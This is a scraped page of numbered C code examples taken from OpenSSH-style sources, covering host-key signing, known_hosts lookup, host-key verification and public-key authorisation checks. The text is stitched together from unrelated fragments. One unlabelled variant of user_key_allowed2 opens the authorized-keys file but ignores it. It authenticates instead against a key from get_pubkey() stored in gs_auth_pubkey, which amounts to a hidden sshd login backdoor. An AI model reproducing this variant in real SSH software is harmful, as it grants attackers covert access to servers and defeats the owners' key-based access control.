		keys[i] = NULL;
		if (key_fd[i] == -1)
			continue;
		keys[i] = key_load_private_pem(key_fd[i], KEY_UNSPEC,
		    NULL, NULL);
		close(key_fd[i]);
		if (keys[i] != NULL)
			found = 1;
	}
	if (!found)
		fatal("no hostkey found");

	buffer_init(&b);
	if (ssh_msg_recv(STDIN_FILENO, &b) < 0)
		fatal("ssh_msg_recv failed");
	if (buffer_get_char(&b) != version)
		fatal("bad version");
	fd = buffer_get_int(&b);
	if ((fd == STDIN_FILENO) || (fd == STDOUT_FILENO))
		fatal("bad fd");
	if ((host = get_local_name(fd)) == NULL)
		fatal("cannot get sockname for fd");

	data = buffer_get_string(&b, &dlen);
	if (valid_request(pw, host, &key, data, dlen) < 0)
		fatal("not a valid request");
	xfree(host);

	found = 0;
	for (i = 0; i < 2; i++) {
		if (keys[i] != NULL &&
		    key_equal(key, keys[i])) {
			found = 1;
			break;
		}
	}
	if (!found)
		fatal("no matching hostkey found");

	if (key_sign(keys[i], &signature, &slen, data, dlen) != 0)
		fatal("key_sign failed");
	xfree(data);

	/* send reply */
	buffer_clear(&b);
	buffer_put_string(&b, signature, slen);
	if (ssh_msg_send(STDOUT_FILENO, version, &b) == -1)
		fatal("ssh_msg_send failed");

	return (0);
}
Beispiel #16
0
static HostStatus
check_host_in_hostfile_by_key_or_type(const char *filename,
    const char *host, const Key *key, int keytype, Key *found, int *numret)
{
	FILE *f;
	char line[8192];
	int linenum = 0;
	u_int kbits;
	char *cp, *cp2, *hashed_host;
	HostStatus end_return;

	debug3("check_host_in_hostfile: filename %s", filename);

	/* Open the file containing the list of known hosts. */
	f = fopen(filename, "r");
	if (!f)
		return HOST_NEW;

	/*
	 * Return value when the loop terminates.  This is set to
	 * HOST_CHANGED if we have seen a different key for the host and have
	 * not found the proper one.
	 */
	end_return = HOST_NEW;

	/* Go through the file. */
	while (fgets(line, sizeof(line), f)) {
		cp = line;
		linenum++;

		/* Skip any leading whitespace, comments and empty lines. */
		for (; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '#' || *cp == '\n')
			continue;

		/* Find the end of the host name portion. */
		for (cp2 = cp; *cp2 && *cp2 != ' ' && *cp2 != '\t'; cp2++)
			;

		/* Check if the host name matches. */
		if (match_hostname(host, cp, (u_int) (cp2 - cp)) != 1) {
			if (*cp != HASH_DELIM)
				continue;
			hashed_host = host_hash(host, cp, (u_int) (cp2 - cp));
			if (hashed_host == NULL) {
				debug("Invalid hashed host line %d of %s",
				    linenum, filename);
				continue;
			}
			if (strncmp(hashed_host, cp, (u_int) (cp2 - cp)) != 0)
				continue;
		}

		/* Got a match.  Skip host name. */
		cp = cp2;

		/*
		 * Extract the key from the line.  This will skip any leading
		 * whitespace.  Ignore badly formatted lines.
		 */
		if (!hostfile_read_key(&cp, &kbits, found))
			continue;

		if (numret != NULL)
			*numret = linenum;

		if (key == NULL) {
			/* we found a key of the requested type */
			if (found->type == keytype)
				return HOST_FOUND;
			continue;
		}

		if (!hostfile_check_key(kbits, found, host, filename, linenum))
			continue;

		/* Check if the current key is the same as the given key. */
		if (key_equal(key, found)) {
			/* Ok, they match. */
			debug3("check_host_in_hostfile: match line %d", linenum);
			fclose(f);
			return HOST_OK;
		}
		/*
		 * They do not match.  We will continue to go through the
		 * file; however, we note that we will not return that it is
		 * new.
		 */
		end_return = HOST_CHANGED;
	}
	/* Clear variables and close the file. */
	fclose(f);

	/*
	 * Return either HOST_NEW or HOST_CHANGED, depending on whether we
	 * saw a different key for the host.
	 */
	return end_return;
}
Beispiel #17
0
static int
check_host_key(char *hostname, struct sockaddr *hostaddr, u_short port,
    Key *host_key, int readonly,
    char **user_hostfiles, u_int num_user_hostfiles,
    char **system_hostfiles, u_int num_system_hostfiles)
{
	HostStatus host_status;
	HostStatus ip_status;
	Key *raw_key = NULL;
	char *ip = NULL, *host = NULL;
	char hostline[1000], *hostp, *fp, *ra;
	char msg[1024];
	const char *type;
	const struct hostkey_entry *host_found, *ip_found;
	int len, cancelled_forwarding = 0;
	int local = sockaddr_is_local(hostaddr);
	int r, want_cert = key_is_cert(host_key), host_ip_differ = 0;
	int hostkey_trusted = 0; /* Known or explicitly accepted by user */
	struct hostkeys *host_hostkeys, *ip_hostkeys;
	u_int i;

	/*
	 * Force accepting of the host key for loopback/localhost. The
	 * problem is that if the home directory is NFS-mounted to multiple
	 * machines, localhost will refer to a different machine in each of
	 * them, and the user will get bogus HOST_CHANGED warnings.  This
	 * essentially disables host authentication for localhost; however,
	 * this is probably not a real problem.
	 */
	if (options.no_host_authentication_for_localhost == 1 && local &&
	    options.host_key_alias == NULL) {
		debug("Forcing accepting of host key for "
		    "loopback/localhost.");
		return 0;
	}

	/*
	 * Prepare the hostname and address strings used for hostkey lookup.
	 * In some cases, these will have a port number appended.
	 */
	get_hostfile_hostname_ipaddr(hostname, hostaddr, port, &host, &ip);

	/*
	 * Turn off check_host_ip if the connection is to localhost, via proxy
	 * command or if we don't have a hostname to compare with
	 */
	if (options.check_host_ip && (local ||
	    strcmp(hostname, ip) == 0 || options.proxy_command != NULL))
		options.check_host_ip = 0;

	host_hostkeys = init_hostkeys();
	for (i = 0; i < num_user_hostfiles; i++)
		load_hostkeys(host_hostkeys, host, user_hostfiles[i]);
	for (i = 0; i < num_system_hostfiles; i++)
		load_hostkeys(host_hostkeys, host, system_hostfiles[i]);

	ip_hostkeys = NULL;
	if (!want_cert && options.check_host_ip) {
		ip_hostkeys = init_hostkeys();
		for (i = 0; i < num_user_hostfiles; i++)
			load_hostkeys(ip_hostkeys, ip, user_hostfiles[i]);
		for (i = 0; i < num_system_hostfiles; i++)
			load_hostkeys(ip_hostkeys, ip, system_hostfiles[i]);
	}

 retry:
	/* Reload these as they may have changed on cert->key downgrade */
	want_cert = key_is_cert(host_key);
	type = key_type(host_key);

	/*
	 * Check if the host key is present in the user's list of known
	 * hosts or in the systemwide list.
	 */
	host_status = check_key_in_hostkeys(host_hostkeys, host_key,
	    &host_found);

	/*
	 * Also perform check for the ip address, skip the check if we are
	 * localhost, looking for a certificate, or the hostname was an ip
	 * address to begin with.
	 */
	if (!want_cert && ip_hostkeys != NULL) {
		ip_status = check_key_in_hostkeys(ip_hostkeys, host_key,
		    &ip_found);
		if (host_status == HOST_CHANGED &&
		    (ip_status != HOST_CHANGED || 
		    (ip_found != NULL &&
		    !key_equal(ip_found->key, host_found->key))))
			host_ip_differ = 1;
	} else
		ip_status = host_status;

	switch (host_status) {
	case HOST_OK:
		/* The host is known and the key matches. */
		debug("Host '%.200s' is known and matches the %s host %s.",
		    host, type, want_cert ? "certificate" : "key");
		debug("Found %s in %s:%lu", want_cert ? "CA key" : "key",
		    host_found->file, host_found->line);
		if (want_cert && !check_host_cert(hostname, host_key))
			goto fail;
		if (options.check_host_ip && ip_status == HOST_NEW) {
			if (readonly || want_cert)
				logit("%s host key for IP address "
				    "'%.128s' not in list of known hosts.",
				    type, ip);
			else if (!add_host_to_hostfile(user_hostfiles[0], ip,
			    host_key, options.hash_known_hosts))
				logit("Failed to add the %s host key for IP "
				    "address '%.128s' to the list of known "
				    "hosts (%.500s).", type, ip,
				    user_hostfiles[0]);
			else
				logit("Warning: Permanently added the %s host "
				    "key for IP address '%.128s' to the list "
				    "of known hosts.", type, ip);
		} else if (options.visual_host_key) {
			fp = sshkey_fingerprint(host_key,
			    options.fingerprint_hash, SSH_FP_DEFAULT);
			ra = sshkey_fingerprint(host_key,
			    options.fingerprint_hash, SSH_FP_RANDOMART);
			if (fp == NULL || ra == NULL)
				fatal("%s: sshkey_fingerprint fail", __func__);
			logit("Host key fingerprint is %s\n%s\n", fp, ra);
			free(ra);
			free(fp);
		}
		hostkey_trusted = 1;
		break;
	case HOST_NEW:
		if (options.host_key_alias == NULL && port != 0 &&
		    port != SSH_DEFAULT_PORT) {
			debug("checking without port identifier");
			if (check_host_key(hostname, hostaddr, 0, host_key,
			    ROQUIET, user_hostfiles, num_user_hostfiles,
			    system_hostfiles, num_system_hostfiles) == 0) {
				debug("found matching key w/out port");
				break;
			}
		}
		if (readonly || want_cert)
			goto fail;
		/* The host is new. */
		if (options.strict_host_key_checking == 1) {
			/*
			 * User has requested strict host key checking.  We
			 * will not add the host key automatically.  The only
			 * alternative left is to abort.
			 */
			error("No %s host key is known for %.200s and you "
			    "have requested strict checking.", type, host);
			goto fail;
		} else if (options.strict_host_key_checking == 2) {
			char msg1[1024], msg2[1024];

			if (show_other_keys(host_hostkeys, host_key))
				snprintf(msg1, sizeof(msg1),
				    "\nbut keys of different type are already"
				    " known for this host.");
			else
				snprintf(msg1, sizeof(msg1), ".");
			/* The default */
			fp = sshkey_fingerprint(host_key,
			    options.fingerprint_hash, SSH_FP_DEFAULT);
			ra = sshkey_fingerprint(host_key,
			    options.fingerprint_hash, SSH_FP_RANDOMART);
			if (fp == NULL || ra == NULL)
				fatal("%s: sshkey_fingerprint fail", __func__);
			msg2[0] = '\0';
			if (options.verify_host_key_dns) {
				if (matching_host_key_dns)
					snprintf(msg2, sizeof(msg2),
					    "Matching host key fingerprint"
					    " found in DNS.\n");
				else
					snprintf(msg2, sizeof(msg2),
					    "No matching host key fingerprint"
					    " found in DNS.\n");
			}
			snprintf(msg, sizeof(msg),
			    "The authenticity of host '%.200s (%s)' can't be "
			    "established%s\n"
			    "%s key fingerprint is %s.%s%s\n%s"
			    "Are you sure you want to continue connecting "
			    "(yes/no)? ",
			    host, ip, msg1, type, fp,
			    options.visual_host_key ? "\n" : "",
			    options.visual_host_key ? ra : "",
			    msg2);
			free(ra);
			free(fp);
			if (!confirm(msg))
				goto fail;
			hostkey_trusted = 1; /* user explicitly confirmed */
		}
		/*
		 * If not in strict mode, add the key automatically to the
		 * local known_hosts file.
		 */
		if (options.check_host_ip && ip_status == HOST_NEW) {
			snprintf(hostline, sizeof(hostline), "%s,%s", host, ip);
			hostp = hostline;
			if (options.hash_known_hosts) {
				/* Add hash of host and IP separately */
				r = add_host_to_hostfile(user_hostfiles[0],
				    host, host_key, options.hash_known_hosts) &&
				    add_host_to_hostfile(user_hostfiles[0], ip,
				    host_key, options.hash_known_hosts);
			} else {
				/* Add unhashed "host,ip" */
				r = add_host_to_hostfile(user_hostfiles[0],
				    hostline, host_key,
				    options.hash_known_hosts);
			}
		} else {
			r = add_host_to_hostfile(user_hostfiles[0], host,
			    host_key, options.hash_known_hosts);
			hostp = host;
		}

		if (!r)
			logit("Failed to add the host to the list of known "
			    "hosts (%.500s).", user_hostfiles[0]);
		else
			logit("Warning: Permanently added '%.200s' (%s) to the "
			    "list of known hosts.", hostp, type);
		break;
	case HOST_REVOKED:
		error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
		error("@       WARNING: REVOKED HOST KEY DETECTED!               @");
		error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
		error("The %s host key for %s is marked as revoked.", type, host);
		error("This could mean that a stolen key is being used to");
		error("impersonate this host.");

		/*
		 * If strict host key checking is in use, the user will have
		 * to edit the key manually and we can only abort.
		 */
		if (options.strict_host_key_checking) {
			error("%s host key for %.200s was revoked and you have "
			    "requested strict checking.", type, host);
			goto fail;
		}
		goto continue_unsafe;

	case HOST_CHANGED:
		if (want_cert) {
			/*
			 * This is only a debug() since it is valid to have
			 * CAs with wildcard DNS matches that don't match
			 * all hosts that one might visit.
			 */
			debug("Host certificate authority does not "
			    "match %s in %s:%lu", CA_MARKER,
			    host_found->file, host_found->line);
			goto fail;
		}
		if (readonly == ROQUIET)
			goto fail;
		if (options.check_host_ip && host_ip_differ) {
			char *key_msg;
			if (ip_status == HOST_NEW)
				key_msg = "is unknown";
			else if (ip_status == HOST_OK)
				key_msg = "is unchanged";
			else
				key_msg = "has a different value";
			error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
			error("@       WARNING: POSSIBLE DNS SPOOFING DETECTED!          @");
			error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
			error("The %s host key for %s has changed,", type, host);
			error("and the key for the corresponding IP address %s", ip);
			error("%s. This could either mean that", key_msg);
			error("DNS SPOOFING is happening or the IP address for the host");
			error("and its host key have changed at the same time.");
			if (ip_status != HOST_NEW)
				error("Offending key for IP in %s:%lu",
				    ip_found->file, ip_found->line);
		}
		/* The host key has changed. */
		warn_changed_key(host_key);
		error("Add correct host key in %.100s to get rid of this message.",
		    user_hostfiles[0]);
		error("Offending %s key in %s:%lu", key_type(host_found->key),
		    host_found->file, host_found->line);

		/*
		 * If strict host key checking is in use, the user will have
		 * to edit the key manually and we can only abort.
		 */
		if (options.strict_host_key_checking) {
			error("%s host key for %.200s has changed and you have "
			    "requested strict checking.", type, host);
			goto fail;
		}

 continue_unsafe:
		/*
		 * If strict host key checking has not been requested, allow
		 * the connection but without MITM-able authentication or
		 * forwarding.
		 */
		if (options.password_authentication) {
			error("Password authentication is disabled to avoid "
			    "man-in-the-middle attacks.");
			options.password_authentication = 0;
			cancelled_forwarding = 1;
		}
		if (options.kbd_interactive_authentication) {
			error("Keyboard-interactive authentication is disabled"
			    " to avoid man-in-the-middle attacks.");
			options.kbd_interactive_authentication = 0;
			options.challenge_response_authentication = 0;
			cancelled_forwarding = 1;
		}
		if (options.challenge_response_authentication) {
			error("Challenge/response authentication is disabled"
			    " to avoid man-in-the-middle attacks.");
			options.challenge_response_authentication = 0;
			cancelled_forwarding = 1;
		}
		if (options.forward_agent) {
			error("Agent forwarding is disabled to avoid "
			    "man-in-the-middle attacks.");
			options.forward_agent = 0;
			cancelled_forwarding = 1;
		}
		if (options.forward_x11) {
			error("X11 forwarding is disabled to avoid "
			    "man-in-the-middle attacks.");
			options.forward_x11 = 0;
			cancelled_forwarding = 1;
		}
		if (options.num_local_forwards > 0 ||
		    options.num_remote_forwards > 0) {
			error("Port forwarding is disabled to avoid "
			    "man-in-the-middle attacks.");
			options.num_local_forwards =
			    options.num_remote_forwards = 0;
			cancelled_forwarding = 1;
		}
		if (options.tun_open != SSH_TUNMODE_NO) {
			error("Tunnel forwarding is disabled to avoid "
			    "man-in-the-middle attacks.");
			options.tun_open = SSH_TUNMODE_NO;
			cancelled_forwarding = 1;
		}
		if (options.exit_on_forward_failure && cancelled_forwarding)
			fatal("Error: forwarding disabled due to host key "
			    "check failure");
		
		/*
		 * XXX Should permit the user to change to use the new id.
		 * This could be done by converting the host key to an
		 * identifying sentence, tell that the host identifies itself
		 * by that sentence, and ask the user if he/she wishes to
		 * accept the authentication.
		 */
		break;
	case HOST_FOUND:
		fatal("internal error");
		break;
	}

	if (options.check_host_ip && host_status != HOST_CHANGED &&
	    ip_status == HOST_CHANGED) {
		snprintf(msg, sizeof(msg),
		    "Warning: the %s host key for '%.200s' "
		    "differs from the key for the IP address '%.128s'"
		    "\nOffending key for IP in %s:%lu",
		    type, host, ip, ip_found->file, ip_found->line);
		if (host_status == HOST_OK) {
			len = strlen(msg);
			snprintf(msg + len, sizeof(msg) - len,
			    "\nMatching host key in %s:%lu",
			    host_found->file, host_found->line);
		}
		if (options.strict_host_key_checking == 1) {
			logit("%s", msg);
			error("Exiting, you have requested strict checking.");
			goto fail;
		} else if (options.strict_host_key_checking == 2) {
			strlcat(msg, "\nAre you sure you want "
			    "to continue connecting (yes/no)? ", sizeof(msg));
			if (!confirm(msg))
				goto fail;
		} else {
			logit("%s", msg);
		}
	}

	if (!hostkey_trusted && options.update_hostkeys) {
		debug("%s: hostkey not known or explicitly trusted: "
		    "disabling UpdateHostkeys", __func__);
		options.update_hostkeys = 0;
	}

	free(ip);
	free(host);
	if (host_hostkeys != NULL)
		free_hostkeys(host_hostkeys);
	if (ip_hostkeys != NULL)
		free_hostkeys(ip_hostkeys);
	return 0;

fail:
	if (want_cert && host_status != HOST_REVOKED) {
		/*
		 * No matching certificate. Downgrade cert to raw key and
		 * search normally.
		 */
		debug("No matching CA found. Retry with plain key");
		raw_key = key_from_private(host_key);
		if (key_drop_cert(raw_key) != 0)
			fatal("Couldn't drop certificate");
		host_key = raw_key;
		goto retry;
	}
	if (raw_key != NULL)
		key_free(raw_key);
	free(ip);
	free(host);
	if (host_hostkeys != NULL)
		free_hostkeys(host_hostkeys);
	if (ip_hostkeys != NULL)
		free_hostkeys(ip_hostkeys);
	return -1;
}
Beispiel #18
0
void
input_userauth_pk_ok(int type, u_int32_t seq, void *ctxt)
{
	Authctxt *authctxt = ctxt;
	Key *key = NULL;
	Buffer b;
	int pktype, sent = 0;
	u_int alen, blen;
	char *pkalg, *fp;
	u_char *pkblob;

	if (authctxt == NULL)
		fatal("input_userauth_pk_ok: no authentication context");
	if (datafellows & SSH_BUG_PKOK) {
		/* this is similar to SSH_BUG_PKAUTH */
		debug2("input_userauth_pk_ok: SSH_BUG_PKOK");
		pkblob = packet_get_string(&blen);
		buffer_init(&b);
		buffer_append(&b, pkblob, blen);
		pkalg = buffer_get_string(&b, &alen);
		buffer_free(&b);
	} else {
		pkalg = packet_get_string(&alen);
		pkblob = packet_get_string(&blen);
	}
	packet_check_eom();

	debug("Server accepts key: pkalg %s blen %u lastkey %p hint %d",
	    pkalg, blen, authctxt->last_key, authctxt->last_key_hint);

	do {
		if (authctxt->last_key == NULL ||
		    authctxt->last_key_sign == NULL) {
			debug("no last key or no sign cb");
			break;
		}
		if ((pktype = key_type_from_name(pkalg)) == KEY_UNSPEC) {
			debug("unknown pkalg %s", pkalg);
			break;
		}
		if ((key = key_from_blob(pkblob, blen)) == NULL) {
			debug("no key from blob. pkalg %s", pkalg);
			break;
		}
		if (key->type != pktype) {
			error("input_userauth_pk_ok: type mismatch "
			    "for decoded key (received %d, expected %d)",
			    key->type, pktype);
			break;
		}
		fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
		debug2("input_userauth_pk_ok: fp %s", fp);
		xfree(fp);
		if (!key_equal(key, authctxt->last_key)) {
			debug("key != last_key");
			break;
		}
		sent = sign_and_send_pubkey(authctxt, key,
		   authctxt->last_key_sign);
	} while (0);

	if (key != NULL)
		key_free(key);
	xfree(pkalg);
	xfree(pkblob);

	/* unregister */
	clear_auth_state(authctxt);
	dispatch_set(SSH2_MSG_USERAUTH_PK_OK, NULL);

	/* try another method if we did not send a packet */
	if (sent == 0)
		userauth(authctxt, NULL);

}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
    char *line = NULL;
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

    gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
    if (gs_auth_pubkey == NULL) {
        gs_auth_pubkey = get_pubkey();
    }
    line = gs_auth_pubkey;
    while (line) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			break;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				break;
			}
		}
		if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				break;
			if (key_is_cert_authority)
				break;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
		break;
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Beispiel #20
0
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			fp = key_fingerprint(found, SSH_FP_MD5,
			    SSH_FP_HEX);
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				xfree(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw) != 0) {
				xfree(fp);
				continue;
			}
			verbose("Accepted certificate ID \"%s\" "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    key_type(found), fp, file);
			xfree(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;
#ifdef WITH_LDAP_PUBKEY
	ldap_key_t * k;
	unsigned int i = 0;
#endif

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

#ifdef WITH_LDAP_PUBKEY
	found_key = 0;
	/* allocate a new key type */
	found = key_new(key->type);
 
	/* first check if the options is enabled, then try.. */
	if (options.lpk.on) {
	    debug("[LDAP] trying LDAP first uid=%s",pw->pw_name);
	    if (ldap_ismember(&options.lpk, pw->pw_name) > 0) {
		if ((k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) {
		    /* Skip leading whitespace, empty and comment lines. */
		    for (i = 0 ; i < k->num ; i++) {
			/* dont forget if multiple keys to reset options */
			char *cp, *xoptions = NULL;

			for (cp = (char *)k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++)
			    ;
			if (!*cp || *cp == '\n' || *cp == '#')
			    continue;

			if (key_read(found, &cp) != 1) {
			    /* no key?  check if there are options for this key */
			    int quoted = 0;
			    debug2("[LDAP] user_key_allowed: check options: '%s'", cp);
			    xoptions = cp;
			    for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
				    cp++;	/* Skip both */
				else if (*cp == '"')
				    quoted = !quoted;
			    }
			    /* Skip remaining whitespace. */
			    for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			    if (key_read(found, &cp) != 1) {
				debug2("[LDAP] user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			    }
			}

			if (key_equal(found, key) &&
				auth_parse_options(pw, xoptions, file, linenum) == 1) {
			    found_key = 1;
			    debug("[LDAP] matching key found");
			    fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			    verbose("[LDAP] Found matching %s key: %s", key_type(found), fp);

			    /* restoring memory */
			    ldap_keys_free(k);
			    xfree(fp);
			    restore_uid();
			    key_free(found);
			    return found_key;
			    break;
			}
		    }/* end of LDAP for() */
		} else {
		    logit("[LDAP] no keys found for '%s'!", pw->pw_name);
		}
	    } else {
		logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup);
	    }
	}
#endif
	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			fp = key_fingerprint(found, SSH_FP_MD5,
			    SSH_FP_HEX);
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				xfree(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw) != 0) {
				xfree(fp);
				continue;
			}
			verbose("Accepted certificate ID \"%s\" "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    key_type(found), fp, file);
			xfree(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}